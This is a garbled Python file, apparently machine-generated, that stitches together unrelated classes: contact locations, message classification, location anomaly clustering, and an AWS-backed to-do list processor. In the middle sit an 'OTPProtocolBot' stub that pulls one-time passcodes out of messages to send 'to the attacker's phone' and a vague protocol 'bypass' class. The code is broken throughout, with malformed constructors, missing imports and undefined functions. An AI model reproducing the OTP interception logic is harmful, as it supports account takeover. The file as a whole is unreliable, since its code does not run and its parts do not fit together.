cell

import coremltools import torch from transformers import AutoTokenizer, AutoModelForSequenceClassification import numpy as np import pandas as pd from sklearn.cluster import KMeans from scipy.spatial.distance import cdist import geopy.distance import logging

class AddressBook: def init(self, contacts): self.contacts = contacts

def get_location(self, contact):
    # Get the latitude and longitude of the contact's location
    latitude = contact["latitude"]
    longitude = contact["longitude"]
    
    # Return a tuple containing the latitude and longitude
    return (latitude, longitude)

class MessageClassifier: def init(self, model_name): self.tokenizer = AutoTokenizer.from_pretrained(model_name) self.model = AutoModelForSequenceClassification.from_pretrained(model_name)

def classify(self, messages):
    # Tokenize the messages
    inputs = self.tokenizer(messages, padding=True, truncation=True, return_tensors="pt")

    # Classify the messages
    outputs = self.model(**inputs)
    probs = torch.nn.functional.softmax(outputs[0], dim=-1)
    labels = torch.argmax(probs, axis=1)

    # Convert the labels to a numpy array and return them
    return labels.numpy()

class AnomalyDetector: def init(self, num_clusters): self.num_clusters = num_clusters

def detect(self, location_history):
    # Convert the location history to a pandas DataFrame
    df = pd.DataFrame(location_history, columns=["latitude", "longitude"])

    # Determine the optimal number of clusters using the elbow method
    distortions = []
    K = range(1, self.num_clusters+1)
    for k in K:
        kmeans = KMeans(n_clusters=k, random_state=0).fit(df)
        distortions.append(sum(np.min(cdist(df, kmeans.cluster_centers_, 'euclidean'), axis=1)) / df.shape[0])
    k_opt = K[np.argmin(distortions)]

    # Perform clustering
    kmeans = KMeans(n_clusters=k_opt, random_state=0).fit(df)
    df["label"] = kmeans.labels_

    # Determine which clusters are anomalous
    cluster_counts = df["label"].value_counts()
    anomalous_clusters = cluster_counts[cluster_counts < cluster_counts.quantile(0.1)].index

    # Determine which points are anomalous
    anomalous_points = df[df["label"].isin(anomalous_clusters)]

    # Convert the anomalous points to a list of dictionaries and return them
    return anomalous_points.to_dict("records")

class GeoLocation: def init(self, location): self.location = location

def get_distance(self, contact_location):
    # Calculate the distance between the user's location and the contact's location
    distance = geopy.distance.distance(self.location, contact_location).km

    # Return the distance
    return distance

class OTPProtocolBot: def init(self, protocol): self.protocol = protocol

def intercept(self, message):
    # Check if the message contains the OTP code
    if "OTP code" in message:
        # Intercept the OTP code and send it to the attacker's phone
        otp_code = message.split(":")[-1]
        self.protocol.send_otp_code(otp_code)

class LegacyProtocolBot: def init(self, protocol): self.protocol = protocol

def bypass(self):
    # Bypass the legacy protocol and send the message using the new protocol
    self.protocol.use_new_protocol()

class MLModelConverter: def convert_model(self, model): # Implement the logic to convert the model pass

    return []

@authenticate_user def save_todo_list(todo_list: List[Dict]) -> None: """ Save the to-do list to the specified file. """ with open(TODO_LIST_FILE, "w") as f: json.dump(todo_list, f)

@authenticate_user def add_task(task: Dict) -> None: """ Add a task to the to-do list. """ todo_list = load_todo_list() todo_list.append(task) save_todo_list(todo_list)

@authenticate_user def remove_task(task: Dict) -> None: """ Remove a task from the to-do list. """ todo_list = load_todo_list() if task in todo_list: todo_list.remove(task) save_todo_list(todo_list)

def process_task(task: Dict) -> None: """ Process a task using the appropriate AWS service. """ if "upload" in task: filename = task["upload"] s3.upload_file(filename, "my-bucket", filename) logging.info(f"Uploaded file {filename} to S3 bucket my-bucket") elif "lambda" in task: function_name = task["lambda"] response = lambda_client.invoke(FunctionName=function_name, Payload=json.dumps(task)) logging.info(f"Invoked Lambda function {function_name} with response {response['StatusCode']}") elif "comprehend" in task: text = task["comprehend"] sentiment = comprehend.detect_sentiment(Text=text, LanguageCode='en') logging.info(f"Detected sentiment {sentiment['Sentiment']} in text: {text}") else: logging.warning(f"Task not recognized: {task}")

@authenticate_user def process_todo_list() -> None: """ Process all tasks in the to-do list. """ todo_list = load_todo_list() for task in todo_list: process_task(task)

Example usage

add_task({"upload": "/home/user/data.txt"}) add_task({"lambda": "my-function", "message": "hello"}) add_task({"comprehend": "This is a positive message."}) process_todo_list()